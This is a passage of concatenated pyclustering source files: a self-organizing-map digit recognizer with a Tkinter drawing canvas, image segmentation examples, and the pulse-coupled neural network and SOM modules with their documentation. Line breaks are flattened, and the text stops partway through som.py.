pyclustering.utils import read_image, rgb2gray; from tkinter import *; from tkinter import messagebox; import math; import pickle; import os; import random; class recognizer: __network = None; def __init__(self): self.__decode_map = []; for index_digit in range(0, 10, 1): list_file_digit_sample = IMAGE_DIGIT_SAMPLES.GET_LIST_IMAGE_SAMPLES(index_digit); for file_name in list_file_digit_sample: self.__decode_map.append(index_digit); def train(self): samples = []; print("Digit images preprocessing..."); for index_digit in range(0, 10, 1): list_file_digit_sample = IMAGE_DIGIT_SAMPLES.GET_LIST_IMAGE_SAMPLES(index_digit); for file_name in list_file_digit_sample: data = read_image(file_name); image_pattern = rgb2gray(data); for index_pixel in range(len(image_pattern)): if (image_pattern[index_pixel] < 128): image_pattern[index_pixel] = 1; else: image_pattern[index_pixel] = 0; samples += [ image_pattern ]; print("SOM initialization..."); self.__network = som(2, 5, type_conn.grid_four, None, True); print("SOM training..."); self.__network.train(samples, 300); print("SOM is ready..."); def recognize(self, input_pattern): index_neuron = self.__network.simulate(input_pattern); decoded_capture_objects = []; for index_capture_object in self.__network.capture_objects[index_neuron]: # print("\t%s" % decode_map[index_capture_object]); decoded_capture_objects.append(self.__decode_map[index_capture_object]); frequent_index = max(set(decoded_capture_objects), key = decoded_capture_objects.count); print(decoded_capture_objects); return frequent_index; def save_knowledge(self): result_saving = False; if (self.__network is not None): file_network_dump = open("knowledge_recognition_memory_dump", "wb"); pickle.dump(self.__network, file_network_dump); result_saving = True; return result_saving; def load_knowledge(self): result_loading = False; if (os.path.isfile("knowledge_recognition_memory_dump") is True): file_network_dump = open("knowledge_recognition_memory_dump", "rb"); self.__network = pickle.load(file_network_dump); result_loading = True; return result_loading; class digit_application: __color = "#000000"; __widget = None; __user_pattern = None; __recognizer = None; __master = None; def __init__(self): self.__master = Tk(); self.__master.title("Recognition"); self.__widget = Canvas(self.__master, width = 320, height = 320); self.__widget.pack(expand = YES, fill = BOTH); self.__widget.bind("<B1-Motion>", self.__paint); button_recognize = Button(self.__master, text = "Recognize", command = self.click_recognize, width = 25); button_recognize.pack(side = BOTTOM); button_recognize = Button(self.__master, text = "Random Image", command = self.click_image_load, width = 25); button_recognize.pack(side = BOTTOM); # button_save = Button(self.__master, text = "Save", command = self.click_save, width = 25); # button_save.pack(side = BOTTOM); # # button_load = Button(self.__master, text = "Load", command = self.click_load, width = 25); # button_load.pack(side = BOTTOM); button_train = Button(self.__master, text = "Train", command = self.click_train, width = 25); button_train.pack(side = BOTTOM); button_clean = Button(self.__master, text = "Clean", command = self.click_clean, width = 25); button_clean.pack(side = BOTTOM); self.__user_pattern = [ 0 for i in range(32 * 32) ]; self.__recognizer = recognizer(); def __paint(self, event): # calculate square that is belong this click if ( (event.x >= 0) and (event.x < 320) and (event.y >= 0) and (event.y < 320) ): x1, y1 = math.floor(event.x / 10), math.floor(event.y / 10); self.__user_pattern[y1 * 32 + x1] = 1; index2 = (y1 + 1) * 32 + x1; index3 = y1 * 32 + (x1 + 1); index4 = (y1 + 1) * 32 + (x1 + 1); if (index2 < len(self.__user_pattern)): self.__user_pattern[index2] = 1; if (index3 < len(self.__user_pattern)): self.__user_pattern[index3] = 1; if (index4 < len(self.__user_pattern)): self.__user_pattern[index4] = 1; display_x1, display_y1 = x1 * 10, y1 * 10; display_x2, display_y2 = display_x1 + 20, display_y1 + 20; self.__widget.create_rectangle(display_x1, display_y1, display_x2, display_y2, fill = self.__color, width = 0); def click_train(self): self.__recognizer.train(); def click_load(self): if (self.__recognizer.load_knowledge() is not True): messagebox.showwarning("Recognition - Knowledge Loading", "Knowledge represented by self-organized feature map has not been " "load from hardware to recognizer due to lack of saved dump of that object. " "Please save knowledge dump after training and after that it will be possible " "to use load it at any time."); def click_save(self): if (self.__recognizer.save_knowledge() is not True): messagebox.showwarning("Recognition - Knowledge Saving", "Knowledge represented by self-organized feature map has been created " "because training has been performed. Please train recognizer and after save result of training."); def click_recognize(self): digit_index = self.__recognizer.recognize(self.__user_pattern); messagebox.showinfo("Recognition - Result", "Most probably input digit is " + str(digit_index)); def click_clean(self): self.__user_pattern = [ 0 for i in range(32 * 32) ]; Canvas.delete(self.__widget, "all"); def click_image_load(self): self.__user_pattern = [ 0 for i in range(32 * 32) ]; Canvas.delete(self.__widget, "all"); index_digit = int(math.floor(random.random() * 10)); list_file_digit_sample = IMAGE_DIGIT_SAMPLES.GET_LIST_IMAGE_SAMPLES(index_digit); index_image = int(math.floor( random.random() * len(list_file_digit_sample) )); file_name = list_file_digit_sample[index_image]; data = read_image(file_name); image_pattern = rgb2gray(data); for y in range(32): for x in range(32): linear_index = y * 32 + x; if (image_pattern[linear_index] < 128): self.__user_pattern[linear_index] = 1; self.__widget.create_rectangle(x * 10, y * 10, x * 10 + 10, y * 10 + 10, fill = self.__color, width = 0); def start(self): mainloop(); app = digit_application(); app.start(); # digit_recognition(); ``` #### File: nnet/examples/syncsegm_examples.py ```python from pyclustering.samples.definitions import IMAGE_SIMPLE_SAMPLES, IMAGE_MAP_SAMPLES from pyclustering.nnet.syncsegm import syncsegm, syncsegm_visualizer from pyclustering.utils import draw_image_mask_segments def template_segmentation_image(source, color_radius, object_radius, noise_size, show_dyn): algorithm = syncsegm(color_radius, object_radius, noise_size, False) analyser = algorithm.process(source, show_dyn) color_segments = analyser.allocate_colors(0.01, noise_size) draw_image_mask_segments(source, color_segments) if object_radius is not None: object_segments = analyser.allocate_objects(0.01, noise_size) draw_image_mask_segments(source, object_segments) if show_dyn is True: syncsegm_visualizer.show_first_layer_dynamic(analyser) syncsegm_visualizer.show_second_layer_dynamic(analyser) def segmentation_image_simple1(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE01, 128, None, 10, show_dyn = False) def segmentation_image_simple2(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE02, 128, None, 10, show_dyn = False) def segmentation_image_simple3(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE03, 128, None, 10, show_dyn = False) def segmentation_image_simple4(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE04, 128, None, 10, show_dyn = False) def segmentation_image_simple5(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE05, 128, 4, 10, show_dyn = False) def segmentation_image_simple6(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE06, 128, 4, 10, show_dyn = True) def segmentation_image_simple7(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE07, 128, 5, 10, show_dyn = False) def segmentation_image_simple8(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE08, 128, 5, 10, show_dyn = False) def segmentation_image_simple9(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE09, 128, 4, 10, show_dyn = False) def segmentation_image_simple10(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE10, 128, 5, 10, show_dyn = False) def segmentation_image_beach(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BEACH, 128, None, 10, show_dyn = False) def segmentation_image_building(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_BUILDING, 16, 10, 10, show_dyn = False) def segmentation_image_fruits_small(): template_segmentation_image(IMAGE_SIMPLE_SAMPLES.IMAGE_SIMPLE_FRUITS_SMALL, 16, 4, 20, show_dyn = False) def segmentation_image_white_sea(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_WHITE_SEA, 16, None, 50, show_dyn = False) def segmentation_image_white_sea_small(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_WHITE_SEA_SMALL, 20, None, 50, show_dyn = False) def segmentation_image_nile(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_NILE, 16, None, 50, show_dyn = False) def segmentation_image_nile_small(): template_segmentation_image(IMAGE_MAP_SAMPLES.IMAGE_NILE_SMALL, 50, None, 50, show_dyn = False) segmentation_image_simple1() segmentation_image_simple2() segmentation_image_simple3() segmentation_image_simple4() segmentation_image_simple5() segmentation_image_simple6() segmentation_image_simple7() segmentation_image_simple8() segmentation_image_simple9() segmentation_image_simple10() segmentation_image_beach() segmentation_image_building() segmentation_image_fruits_small() segmentation_image_white_sea() segmentation_image_white_sea_small() segmentation_image_nile() segmentation_image_nile_small() ``` #### File: pyclustering/nnet/pcnn.py ```python import random import numpy import matplotlib.pyplot as plt import matplotlib.animation as animation from PIL import Image from pyclustering.nnet import * from pyclustering.core.wrapper import ccore_library import pyclustering.core.pcnn_wrapper as wrapper from pyclustering.utils import draw_dynamics class pcnn_parameters: """! @brief Parameters for pulse coupled neural network. """ def __init__(self): """! @brief Default constructor of parameters for pulse-coupled neural network. @details Constructor initializes parameters by default non-zero values that can be used for simple simulation. """ ## Multiplier for the feeding compartment at the current step. self.VF = 1.0 ## Multiplier for the linking compartment at the current step. self.VL = 1.0 ## Multiplier for the threshold at the current step. self.VT = 10.0 ## Multiplier for the feeding compartment at the previous step. self.AF = 0.1 ## Multiplier for the linking compartment at the previous step. self.AL = 0.1 ## Multiplier for the threshold at the previous step. self.AT = 0.5 ## Synaptic weight - neighbours influence on linking compartment. self.W = 1.0 ## Synaptic weight - neighbours influence on feeding compartment. self.M = 1.0 ## Linking strength in the network. self.B = 0.1 ## Enable/disable Fast-Linking mode. Fast linking helps to overcome some of the effects of time quantisation. This process allows the linking wave to progress a lot faster than the feeding wave. self.FAST_LINKING = False class pcnn_dynamic: """! @brief Represents output dynamic of PCNN (pulse-coupled neural network). """ @property def output(self): """! @brief (list) Returns oscillato outputs during simulation. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_get_output(self.__ccore_pcnn_dynamic_pointer) return self.__dynamic @property def time(self): """! @brief (list) Returns sampling times when dynamic is measured during simulation. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_get_time(self.__ccore_pcnn_dynamic_pointer) return list(range(len(self))) def __init__(self, dynamic, ccore=None): """! @brief Constructor of PCNN dynamic. @param[in] dynamic (list): Dynamic of oscillators on each step of simulation. If ccore pointer is specified than it can be ignored. @param[in] ccore (ctypes.pointer): Pointer to CCORE pcnn_dynamic instance in memory. """ self.__OUTPUT_TRUE = 1 # fire value for oscillators. self.__OUTPUT_FALSE = 0 # rest value for oscillators. self.__dynamic = dynamic self.__ccore_pcnn_dynamic_pointer = ccore def __del__(self): """! @brief Default destructor of PCNN dynamic. """ if self.__ccore_pcnn_dynamic_pointer is not None: wrapper.pcnn_dynamic_destroy(self.__ccore_pcnn_dynamic_pointer) def __len__(self): """! @brief (uint) Returns number of simulation steps that are stored in dynamic. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_get_size(self.__ccore_pcnn_dynamic_pointer) return len(self.__dynamic) def allocate_sync_ensembles(self): """! @brief Allocate clusters in line with ensembles of synchronous oscillators where each synchronous ensemble corresponds to only one cluster. @return (list) Grours (lists) of indexes of synchronous oscillators. For example, [ [index_osc1, index_osc3], [index_osc2], [index_osc4, index_osc5] ]. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_allocate_sync_ensembles(self.__ccore_pcnn_dynamic_pointer) sync_ensembles = [] traverse_oscillators = set() number_oscillators = len(self.__dynamic[0]) for t in range(len(self.__dynamic) - 1, 0, -1): sync_ensemble = [] for i in range(number_oscillators): if self.__dynamic[t][i] == self.__OUTPUT_TRUE: if i not in traverse_oscillators: sync_ensemble.append(i) traverse_oscillators.add(i) if sync_ensemble != []: sync_ensembles.append(sync_ensemble) return sync_ensembles def allocate_spike_ensembles(self): """! @brief Analyses output dynamic of network and allocates spikes on each iteration as a list of indexes of oscillators. @details Each allocated spike ensemble represents list of indexes of oscillators whose output is active. @return (list) Spike ensembles of oscillators. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_allocate_spike_ensembles(self.__ccore_pcnn_dynamic_pointer) spike_ensembles = [] number_oscillators = len(self.__dynamic[0]) for t in range(len(self.__dynamic)): spike_ensemble = [] for index in range(number_oscillators): if self.__dynamic[t][index] == self.__OUTPUT_TRUE: spike_ensemble.append(index) if len(spike_ensemble) > 0: spike_ensembles.append(spike_ensemble) return spike_ensembles def allocate_time_signal(self): """! @brief Analyses output dynamic and calculates time signal (signal vector information) of network output. @return (list) Time signal of network output. """ if self.__ccore_pcnn_dynamic_pointer is not None: return wrapper.pcnn_dynamic_allocate_time_signal(self.__ccore_pcnn_dynamic_pointer) signal_vector_information = [] for t in range(0, len(self.__dynamic)): signal_vector_information.append(sum(self.__dynamic[t])) return signal_vector_information class pcnn_visualizer: """! @brief Visualizer of output dynamic of pulse-coupled neural network (PCNN). """ @staticmethod def show_time_signal(pcnn_output_dynamic): """! @brief Shows time signal (signal vector information) using network dynamic during simulation. @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network. """ time_signal = pcnn_output_dynamic.allocate_time_signal() time_axis = range(len(time_signal)) plt.subplot(1, 1, 1) plt.plot(time_axis, time_signal, '-') plt.ylabel("G (time signal)") plt.xlabel("t (iteration)") plt.grid(True) plt.show() @staticmethod def show_output_dynamic(pcnn_output_dynamic, separate_representation = False): """! @brief Shows output dynamic (output of each oscillator) during simulation. @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network. @param[in] separate_representation (list): Consists of lists of oscillators where each such list consists of oscillator indexes that will be shown on separated stage. """ figure, _ = draw_dynamics(pcnn_output_dynamic.time, pcnn_output_dynamic.output, x_title="t", y_title="y(t)", separate=separate_representation) plt.close(figure) @staticmethod def animate_spike_ensembles(pcnn_output_dynamic, image_size): """! @brief Shows animation of output dynamic (output of each oscillator) during simulation. @param[in] pcnn_output_dynamic (pcnn_dynamic): Output dynamic of the pulse-coupled neural network. @param[in] image_size (tuple): Image size represented as (height, width). """ figure = plt.figure() time_signal = pcnn_output_dynamic.allocate_time_signal() spike_ensembles = pcnn_output_dynamic.allocate_spike_ensembles() spike_animation = [] ensemble_index = 0 for t in range(len(time_signal)): image_color_segments = [(255, 255, 255)] * (image_size[0] * image_size[1]) if time_signal[t] > 0: for index_pixel in spike_ensembles[ensemble_index]: image_color_segments[index_pixel] = (0, 0, 0) ensemble_index += 1 stage = numpy.array(image_color_segments, numpy.uint8) stage = numpy.reshape(stage, image_size + ((3),)) # ((3),) it's size of RGB - third dimension. image_cluster = Image.fromarray(stage, 'RGB') spike_animation.append( [ plt.imshow(image_cluster, interpolation='none') ] ) im_ani = animation.ArtistAnimation(figure, spike_animation, interval=75, repeat_delay=3000, blit=True) plt.show() plt.close(figure) class pcnn_network(network): """! @brief Model of oscillatory network that is based on the Eckhorn model. @details CCORE option can be used to use the pyclustering core - C/C++ shared library for processing that significantly increases performance. Here is an example how to perform PCNN simulation: @code from pyclustering.nnet.pcnn import pcnn_network, pcnn_visualizer # Create Pulse-Coupled neural network with 10 oscillators. net = pcnn_network(10) # Perform simulation during 100 steps using binary external stimulus. dynamic = net.simulate(50, [1, 1, 1, 0, 0, 0, 0, 1, 1, 1]) # Allocate synchronous ensembles from the output dynamic. ensembles = dynamic.allocate_sync_ensembles() # Show output dynamic. pcnn_visualizer.show_output_dynamic(dynamic, ensembles) @endcode """ __OUTPUT_TRUE = 1 # fire value for oscillators. __OUTPUT_FALSE = 0 # rest value for oscillators. def __init__(self, num_osc, parameters=None, type_conn=conn_type.ALL_TO_ALL, type_conn_represent=conn_represent.MATRIX, height=None, width=None, ccore=True): """! @brief Constructor of oscillatory network is based on Kuramoto model. @param[in] num_osc (uint): Number of oscillators in the network. @param[in] parameters (pcnn_parameters): Parameters of the network. @param[in] type_conn (conn_type): Type of connection between oscillators in the network (all-to-all, grid, bidirectional list, etc.). @param[in] type_conn_represent (conn_represent): Internal representation of connection in the network: matrix or list. @param[in] height (uint): Number of oscillators in column of the network, this argument is used only for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored. @param[in] width (uint): Number of oscillotors in row of the network, this argument is used only for network with grid structure (GRID_FOUR, GRID_EIGHT), for other types this argument is ignored. @param[in] ccore (bool): If True then all interaction with object will be performed via CCORE library (C++ implementation of pyclustering). """ self._outputs = None # list of outputs of oscillators. self._feeding = None # feeding compartment of each oscillator. self._linking = None # linking compartment of each oscillator. self._threshold = None # threshold of each oscillator. self._params = None self.__ccore_pcnn_pointer = None # set parameters of the network if parameters is not None: self._params = parameters else: self._params = pcnn_parameters() if (ccore is True) and ccore_library.workable(): network_height = height network_width = width if (type_conn == conn_type.GRID_FOUR) or (type_conn == conn_type.GRID_EIGHT): if (network_height is None) or (network_width is None): side_size = num_osc ** (0.5) if side_size - math.floor(side_size) > 0: raise NameError('Invalid number of oscillators in the network in case of grid structure') network_height = int(side_size) network_width = int(side_size) else: network_height = 0 network_width = 0 self.__ccore_pcnn_pointer = wrapper.pcnn_create(num_osc, type_conn, network_height, network_width, self._params) else: super().__init__(num_osc, type_conn, type_conn_represent, height, width) self._outputs = [0.0] * self._num_osc self._feeding = [0.0] * self._num_osc self._linking = [0.0] * self._num_osc self._threshold = [ random.random() for i in range(self._num_osc) ] def __del__(self): """! @brief Default destructor of PCNN. """ if self.__ccore_pcnn_pointer is not None: wrapper.pcnn_destroy(self.__ccore_pcnn_pointer) self.__ccore_pcnn_pointer = None def __len__(self): """! @brief (uint) Returns size of oscillatory network. """ if self.__ccore_pcnn_pointer is not None: return wrapper.pcnn_get_size(self.__ccore_pcnn_pointer) return self._num_osc def simulate(self, steps, stimulus): """! @brief Performs static simulation of pulse coupled neural network using. @param[in] steps (uint): Number steps of simulations during simulation. @param[in] stimulus (list): Stimulus for oscillators, number of stimulus should be equal to number of oscillators. @return (pcnn_dynamic) Dynamic of oscillatory network - output of each oscillator on each step of simulation. """ if len(stimulus) != len(self): raise NameError('Number of stimulus should be equal to number of oscillators. Each stimulus corresponds to only one oscillators.') if self.__ccore_pcnn_pointer is not None: ccore_instance_dynamic = wrapper.pcnn_simulate(self.__ccore_pcnn_pointer, steps, stimulus) return pcnn_dynamic(None, ccore_instance_dynamic) dynamic = [] dynamic.append(self._outputs) for step in range(1, steps, 1): self._outputs = self._calculate_states(stimulus) dynamic.append(self._outputs) return pcnn_dynamic(dynamic) def _calculate_states(self, stimulus): """! @brief Calculates states of oscillators in the network for current step and stored them except outputs of oscillators. @param[in] stimulus (list): Stimulus for oscillators, number of stimulus should be equal to number of oscillators. @return (list) New outputs for oscillators (do not stored it). """ feeding = [0.0] * self._num_osc linking = [0.0] * self._num_osc outputs = [0.0] * self._num_osc threshold = [0.0] * self._num_osc for index in range(0, self._num_osc, 1): neighbors = self.get_neighbors(index) feeding_influence = 0.0 linking_influence = 0.0 for index_neighbour in neighbors: feeding_influence += self._outputs[index_neighbour] * self._params.M linking_influence += self._outputs[index_neighbour] * self._params.W feeding_influence *= self._params.VF linking_influence *= self._params.VL feeding[index] = self._params.AF * self._feeding[index] + stimulus[index] + feeding_influence linking[index] = self._params.AL * self._linking[index] + linking_influence # calculate internal activity internal_activity = feeding[index] * (1.0 + self._params.B * linking[index]) # calculate output of the oscillator if internal_activity > self._threshold[index]: outputs[index] = self.__OUTPUT_TRUE else: outputs[index] = self.__OUTPUT_FALSE # In case of Fast Linking we should calculate threshold until output is changed. if self._params.FAST_LINKING is not True: threshold[index] = self._params.AT * self._threshold[index] + self._params.VT * outputs[index] # In case of Fast Linking we need to wait until output is changed. if self._params.FAST_LINKING is True: output_change = True # Set it True for the for the first iteration. previous_outputs = outputs[:] while output_change is True: current_output_change = False for index in range(0, self._num_osc, 1): linking_influence = 0.0 neighbors = self.get_neighbors(index) for index_neighbour in neighbors: linking_influence += previous_outputs[index_neighbour] * self._params.W linking_influence *= self._params.VL linking[index] = linking_influence internal_activity = feeding[index] * (1.0 + self._params.B * linking[index]) # calculate output of the oscillator if internal_activity > self._threshold[index]: outputs[index] = self.__OUTPUT_TRUE else: outputs[index] = self.__OUTPUT_FALSE current_output_change |= (outputs[index] != previous_outputs[index]) output_change = current_output_change if output_change is True: previous_outputs = outputs[:] # In case of Fast Linking threshold should be calculated after fast linking. if self._params.FAST_LINKING is True: for index in range(0, self._num_osc, 1): threshold[index] = self._params.AT * self._threshold[index] + self._params.VT * outputs[index] self._feeding = feeding[:] self._linking = linking[:] self._threshold = threshold[:] return outputs ``` #### File: pyclustering/nnet/som.py ```python import math import random import matplotlib.pyplot as plt import pyclustering.core.som_wrapper as wrapper from pyclustering.core.wrapper import ccore_library from pyclustering.utils import euclidean_distance_square from pyclustering.utils.dimension import dimension_info from enum import IntEnum class type_conn(IntEnum): """! @brief Enumeration of connection types for SOM. @see som """ ## Grid type of connections when each oscillator has connections with left, upper, right, lower neighbors. grid_four = 0 ## Grid type of connections when each oscillator has connections with left, upper-left, upper, upper-right, right, right-lower, lower, lower-left neighbors. grid_eight = 1 ## Grid type of connections when each oscillator has connections with left, upper-left, upper-right, right, right-lower, lower-left neighbors. honeycomb = 2 ## Grid type of connections when existance of each connection is defined by the SOM rule on each step of simulation. func_neighbor = 3 class type_init(IntEnum): """! @brief Enumeration of initialization types for SOM. @see som """ ## Weights are randomly distributed using Gaussian distribution (0, 1). random = 0 ## Weights are randomly distributed using Gaussian distribution (input data centroid, 1). random_centroid = 1 ## Weights are randomly distrbiuted using Gaussian distribution (input data centroid, surface of input data). random_surface = 2 ## Weights are distributed as a uniform grid that covers whole surface of the input data. uniform_grid = 3 class som_parameters: """! @brief Represents SOM parameters. """ def __init__(self): """! @brief Creates SOM parameters. """ ## Defines an initialization way for neuron weights (random, random in center of the input data, random distributed in data, ditributed in line with uniform grid). self.init_type = type_init.uniform_grid ## Initial radius. If the initial radius is not specified (equals to `None`) then it will be calculated by SOM. self.init_radius = None ## Rate of learning. self.init_learn_rate = 0.1 ## Condition that defines when the learining process should be stopped. It is used when the autostop mode is on. self.adaptation_threshold = 0.001 ## Seed for random state (by default is `None`, current system time is used). self.random_state = None class som: """! @brief Represents self-organized feature map (SOM). @details The self-organizing feature map (SOM) method is a powerful tool for the visualization of of high-dimensional data. It converts complex, nonlinear statistical relationships between high-dimensional data into simple geometric relationships on a low-dimensional display. @details `ccore` option can be specified in order to control using C++ implementation of pyclustering library. By default C++ implementation is on. C++ implementation improves performance of the self-organized feature map. Example: @code import random from pyclustering.utils import read_sample from pyclustering.nnet.som import som, type_conn, type_init, som_parameters from pyclustering.samples.definitions import FCPS_SAMPLES # read sample 'Lsun' from file sample = read_sample(FCPS_SAMPLES.SAMPLE_LSUN) # create SOM parameters parameters = som_parameters() # create self-organized feature map with size 7x7 rows = 10 # five rows cols = 10 # five columns structure = type_conn.grid_four; # each neuron has max. four neighbors. network = som(rows, cols, structure, parameters) # train network on 'Lsun' sample during 100 epouchs. network.train(sample, 100) # simulate trained network using randomly modified point from input dataset. index_point = random.randint(0, len(sample) - 1) point = sample[index_point] # obtain randomly point from data point[0] += random.random() * 0.2 # change randomly X-coordinate point[1] += random.random() * 0.2 # change randomly Y-coordinate index_winner = network.simulate(point) # check what are objects from input data are much close to randomly modified. index_similar_objects = network.capture_objects[index_winner] # neuron contains information of encoded objects print("Point '%s' is similar to objects with indexes '%s'." % (str(point), str(index_similar_objects))) print("Coordinates of similar objects:") for index in index_similar_objects: print("\tPoint:", sample[index]) # result visualization: # show distance matrix (U-matrix). network.show_distance_matrix() # show density matrix (P-matrix). network.show_density_matrix() # show winner matrix. network.show_winner_matrix() # show self-organized map. network.show_network() @endcode There is a visualization of 'Target' sample that was done by the self-organized feature map: @image html target_som_processing.png """ @property def size(self): """! @brief Return size of self-organized map that is defined by total number of neurons. @return (uint) Size of self-organized map (number of neurons). """ if self.__ccore_som_pointer is not None: self._size = wrapper.som_get_size(self.__ccore_som_pointer) return self._size @property def weights(self): """! @brief Return weight of each neuron. @return (list) Weights of each neuron. """ if self.__ccore_som_pointer is not None: self._weights = wrapper.som_get_weights(self.__ccore_som_pointer) return self._weights @property def awards(self): """! @brief Return amount of captured objects by each neuron after training. @return (list) Amount of captured objects by each neuron. @see train() """ if self.__ccore_som_pointer is not None: self._award = wrapper.som_get_awards(self.__ccore_som_pointer) return self._award @property def capture_objects(self): """! @brief Returns indexes of captured objects by each neuron. @details For example, a network with size 2x2 has been trained on a sample with five objects. Suppose neuron #1 won an object with index `1`, neuron #2 won objects `0`, `3`, `4`, neuron #3 did not won anything and finally neuron #4 won an object with index `2`. Thus, for this example we will have the following output `[[1], [0, 3, 4], [], [2]]`. @return (list) Indexes of captured objects by each neuron. """ if self.__ccore_som_pointer is not None: self._capture_objects = wrapper.som_get_capture_objects(self.__ccore_som_pointer) return self._capture_objects def __init__(self, rows, cols, conn_type=type_conn.grid_eight, parameters=None, ccore=True): """! @brief Constructor of self-organized map. @param[in] rows (uint): Number of neurons in the column (number of rows). @param[in] cols (uint): Number of neurons in the row (number of columns). @param[in] conn_type (type_conn): Type of connection between oscillators in the network (grid four, grid eight, honeycomb, function neighbour). @param[in] parameters (som_parameters): Other specific parameters. @param[in] ccore (bool): If True simulation is performed by CCORE library (C++ implementation of pyclustering). """ # some of these parameters are required despite core implementation, for example, for network visualization. self._cols = cols self._rows = rows self._size = cols * rows self._conn_type = conn_type self._data = None self._neighbors = None self._local_radius = 0.0 self._learn_rate = 0.0 self.__ccore_som_pointer = None self._params = parameters or som_parameters() if self._params.init_radius is None: self._params.init_radius = self.__initialize_initial_radius(rows, cols) if (ccore is True) and ccore_library.workable(): self.__ccore_som_pointer = wrapper.som_create(rows, cols, conn_type, self._params) else: # location self._location = self.__initialize_locations(rows, cols) # default weights self._weights = [[0.0]] * self._size # awards self._award = [0] * self._size # captured objects self._capture_objects = [[] for i in range(self._size)] # distances - calculate and store them only during training self._sqrt_distances = None # connections if conn_type != type_conn.func_neighbor: self._create_connections(conn_type) def __del__(self): """! @brief Destructor of the self-organized feature map. """ if self.__ccore_som_pointer is not None: wrapper.som_destroy(self.__ccore_som_pointer) def __len__(self): """! @brief Returns size of the network that defines by amount of neuron in it. @return (uint) Size of self-organized map (amount of neurons). """ return self._size def __getstate__(self): """ @brief Returns state of SOM network that can be used to store network. """ if self.__ccore_som_pointer is not None: self.__download_dump_from_ccore() return self.__get_dump_from_python(True) return self.__get_dump_from_python(False) def __setstate__(self, som_state): """ @brief Set state of SOM network that can be used to load network. """ if som_state['ccore'] is True and ccore_library.workable(): self.__upload_dump_to_ccore(som_state['state']) else: self.__upload_dump_to_python(som_state['state']) def __initialize_initial_radius(self, rows, cols): """! @brief Initialize initial radius using map sizes. @param[in] rows (uint): Number of neurons in the column (number of rows). @param[in] cols (uint): Number of neurons in the row (number of columns). @return (list) Value of initial radius. """ if (cols + rows) / 4.0 > 1.0: return 2.0 elif (cols > 1) and (rows > 1): return 1.5 else: return 1.0 def __initialize_locations(self, rows, cols): """! @brief Initialize locations (coordinates in SOM grid) of each neurons in the map. @param[in] rows (uint): Number of neurons in the column (number of rows). @param[in] cols (uint): Number of neurons in the row (number of columns). @return (list) List of coordinates of each neuron in map. """ location = list() for i in range(rows): for j in range(cols): location.append([float(i), float(j)]) return location def __initialize_distances(self, size, location): """! @brief Initialize distance matrix in SOM grid. @param[in] size (uint): Amount of neurons in the network. @param[in] location (list): List of coordinates of each neuron in the network. @return (list) Distance matrix between neurons in the network. """ sqrt_distances = [[[] for i in range(size)] for j in range(size)] for i in range(size): for j in range(i, size, 1): dist = euclidean_distance_square(location[i], location[j]) sqrt_distances[i][j] = dist sqrt_distances[j][i] = dist return sqrt_distances def _create_initial_weights(self, init_type): """! @brief Creates initial weights for neurons in line with the specified initialization. @param[in] init_type (type_init): Type of initialization of initial neuron weights (random, random in center of the input data, random distributed in data, ditributed in line with uniform grid). """ dim_info = dimension_info(self._data) step_x = dim_info.get_center()[0] if self._rows > 1: step_x = dim_info.get_width()[0] / (self._rows - 1) step_y = 0.0 if dim_info.get_dimensions() > 1: step_y = dim_info.get_center()[1] if self._cols > 1: step_y = dim_info.get_width()[1] / (self._cols - 1) # generate weights (topological coordinates) random.seed(self._params.random_state) # Uniform grid. if init_type == type_init.uniform_grid: # Predefined weights in line with input data. self._weights = [[[] for i in range(dim_info.get_dimensions())] for j in range(self._size)] for i in range(self._size): location = self._location[i] for dim in range(dim_info.get_dimensions()): if dim == 0: if self._rows > 1: self._weights[i][dim] = dim_info.get_minimum_coordinate()[dim] + step_x * location[dim] else: self._weights[i][dim] = dim_info.get_center()[dim] elif dim == 1: if self._cols > 1: self._weights[i][dim] = dim_info.get_minimum_coordinate()[dim] + step_y * location[dim] else: self._weights[i][dim] = dim_info.get_center()[dim] else: self._weights[i][dim] = dim_info.get_center()[dim] elif init_type == type_init.random_surface: # Random weights at the full surface. self._weights = [ [random.uniform(dim_info.get_minimum_coordinate()[i], dim_info.get_maximum_coordinate()[i]) for i in range(dim_info.get_dimensions())] for _ in range(self._size)] elif init_type == type_init.random_centroid: # Random weights at the center of input data. self._weights = [[(random.random() + dim_info.get_center()[i]) for i in range(dim_info.get_dimensions())] for _ in range(self._size)] else: # Random weights of input data. self._weights = [[random.random() for i in range(dim_info.get_dimensions())] for _ in range(self._size)] def _create_connections(self, conn_type): """! @brief Create connections in line with input rule (grid four, grid eight, honeycomb, function neighbour). @param[in] conn_type (type_conn): Type of connection between oscillators in the network. """ self._neighbors = [[] for index in range(self._size)] for index in range(0, self._size, 1): upper_index = index - self._cols upper_left_index = index - self._cols - 1 upper_right_index = index - self._cols + 1 lower_index = index + self._cols lower_left_index = index + self._cols - 1 lower_right_index = index + self._cols + 1 left_index = index - 1 right_index = index + 1 node_row_index = math.floor(index / self._cols) upper_row_index = 